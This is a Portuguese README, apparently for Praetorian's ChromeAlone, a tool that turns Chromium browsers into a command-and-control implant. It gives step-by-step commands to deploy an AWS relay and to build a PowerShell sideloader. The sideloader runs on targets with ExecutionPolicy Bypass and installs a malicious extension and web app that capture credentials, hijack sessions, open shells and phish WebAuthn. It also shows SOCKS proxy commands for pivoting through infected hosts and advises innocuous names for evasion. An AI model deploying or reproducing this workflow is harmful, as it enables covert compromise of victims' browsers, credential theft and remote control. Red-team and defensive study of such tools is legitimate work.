
Uma ferramenta para transformar navegadores Chromium em um implante C2.

O ChromeAlone é um implante de navegador que pode ser usado no lugar de implantes convencionais como Cobalt Strike ou Meterpreter. Este repositório fornece um processo de build simples que irá gerar um console de gerenciamento, implantar infraestrutura e criar um script de sideload em Powershell para execução nos alvos.
Após a instalação, cada implante ChromeAlone fornecerá mecanismos para:
Primeiro, construa o container docker: docker build -t chromealone .
Atualmente existem dois modos de implantação suportados. Observe que em qualquer um dos casos, você deve estar executando o docker a partir do diretório base do repositório git do ChromeAlone.
Para isso, você precisará ter uma conta AWS configurada com suas credenciais armazenadas em ~/.aws/credentials. Certifique-se de que sua conta tenha permissões completas de escrita no EC2 juntamente com permissões no Route53. Além disso, presume-se que seu Route53 tenha sido configurado com pelo menos 1 zona de hospedagem contendo um domínio registrado. Se essas condições forem atendidas, você poderá executar este comando.
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
O valor domain deve corresponder a um domínio sob o controle da sua configuração do Route53. appname pode ser qualquer valor que você quiser e será usado para nomear várias chaves de registro e pastas no disco durante a implantação. É recomendável usar um nome bastante inofensivo como UpdateService ou algo igualmente inocuo.
Observe que region é opcional e terá como padrão us-east-2 se não for especificado.
Isso implantará o servidor relay BATTLEPLAN na AWS e gerará os seguintes artefatos:
output/client - O webapp de controle para gerenciar suas instalações do ChromeAlone.
output/sideloader.ps1 - O script de instalação a ser executado nos alvos para infectar a instância local do navegador. NOTA: Também haverá um arquivo iwa-sideloader.ps1 para carregar APENAS o Isolated Web App, e
extension-sideloader.ps1 para carregar APENAS a extensão do navegador.
output/extension - A extensão de navegador maliciosa gerada.
output/iwa - O pacote de webapp assinado do Isolated Web App malicioso gerado.
output/relay-deployment - Artefatos do Terraform da sua implantação AWS, incluindo uma chave SSH para acesso direto ao host.
Se você já implantou uma instância, output/relay-deployment/terraform.tfvars conterá todas as informações necessárias para gerar novos scripts de sideload + extensões maliciosas. Você pode apontar o arquivo docker do ChromeAlone para o arquivo tfvars e ele pulará a etapa de implantação, mantendo os metadados apropriados para lidar com conexões.
Execute o script de build docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService e ele gerará um novo sideloader malicioso para sua implantação.
Pegue o sideloader.ps1 e execute-o na sua máquina Windows 10 ou Windows 11 alvo rodando powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1. Observe que você pode executar com flags adicionais se quiser instalar um host de mensagens nativas (necessário para shell out) ou forçar o Chrome a reiniciar (necessário se você quiser que sua extensão seja executada imediatamente após executar este script, em vez de esperar a próxima vez que o usuário abrir o Chrome). Um exemplo de invocação com ambas as flags é powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true. Você também pode modificar os padrões no topo do script de false para true se desejar que essas flags sejam usadas automaticamente.
Uma execução completa do script levará aproximadamente 20-30 segundos.
Depois que o ChromeAlone for carregado, você pode visualizar quaisquer hosts conectados abrindo output/client/index.html. Este webapp será pré-configurado para se conectar de volta à sua instância relay BATTLEPLAN implantada. Observe que, por padrão, o relay é protegido por firewall para permitir apenas acesso de controle de entrada nas portas 1080-1181 a partir do IP que implantou o servidor. Se desejar modificar isso, você precisará atualizar as configurações de rede da instância EC2 para incluir quaisquer máquinas adicionais.
A maioria dos comandos pode ser executada a partir da WebUI, incluindo:
Quick Commands, que requer selecionar um agente alvo na seção Execute Command)Captured Data)Execute Command)File Browser)Interactive Shell)A principal exceção a isso é o proxy SOCKS. Cada host infectado recebe uma porta SOCKS exclusiva para o servidor que pode ser vista na seção Agent Information, onde cada agente tem um campo Port. A porta atribuída, quando combinada com as credenciais admin armazenadas em output/client/config.js, pode ser usada para configurar um proxy SOCKS específico do host.
Por exemplo, digamos que temos um agente onde a porta é 1081, nosso domínio é chrome.alone, nosso usuário admin (este é sempre o caso) e nossa senha é thisisnotarealpassword. Aqui estão alguns exemplos de uso:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
O repositório ChromeAlone é dividido em componentes, muitos dos quais poderiam ser usados individualmente como parte de uma avaliação - mas juntos representam todo o toolchain de implante do navegador Chromium.
BATTLEPLAN - Este é o componente de servidor de gerenciamento do toolchain. Ele contém scripts terraform para implantação em um ambiente AWS, bem como um cliente HTML para interagir com o servidor após a implantação.BLOWTORCH - Este é um Isolated Web Application malicioso que usa permissões Direct Socket para implementar um proxy TCP SOCKS e um servidor websocket para permitir comunicações entre outros componentes do Chrome. Ele também atua como a ponte de mensagens de volta ao servidor relay BATTLEPLAN.DOORKNOB - Esta é uma série de scripts usados para gerar sideloaders powershell para Isolated Web Apps e Extensões do Chrome. O script em build.sh fornece um exemplo de como criar um único script de instalador Powershell que combina ambos os sideloaders individuais em um só.HOTWHEELS - Esta é uma extensão maliciosa do Chrome que implementa todas as suas capacidades em Web Assembly. Ela fornece a grande maioria dos conjuntos de recursos do ChromeAlone para captura de credenciais, sequestro de sessão, shell out e leitura do sistema de arquivos.PAINTBUCKET - Uma série de content scripts que permitem phishing para requisições WebAuthn ao esconder requisições WebAuthn adicionais dentro de iFrames em abas inativas sempre que uma requisição WebAuthn normal é feita.Esta ferramenta foi escrita por Mike Weber da Praetorian Security.
Este trabalho é construído sobre os ombros de muitas outras ferramentas de pesquisa e postagens de blog que contribuíram para o espaço. Sem o trabalho deles, este projeto não existiria. Se você quiser se aprofundar nos detalhes internos que este projeto utiliza, sugiro ler os seguintes recursos:
ChromeAlone é licenciado sob a Apache License, Versão 2.0.
Copyright 2025 Praetorian Security, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.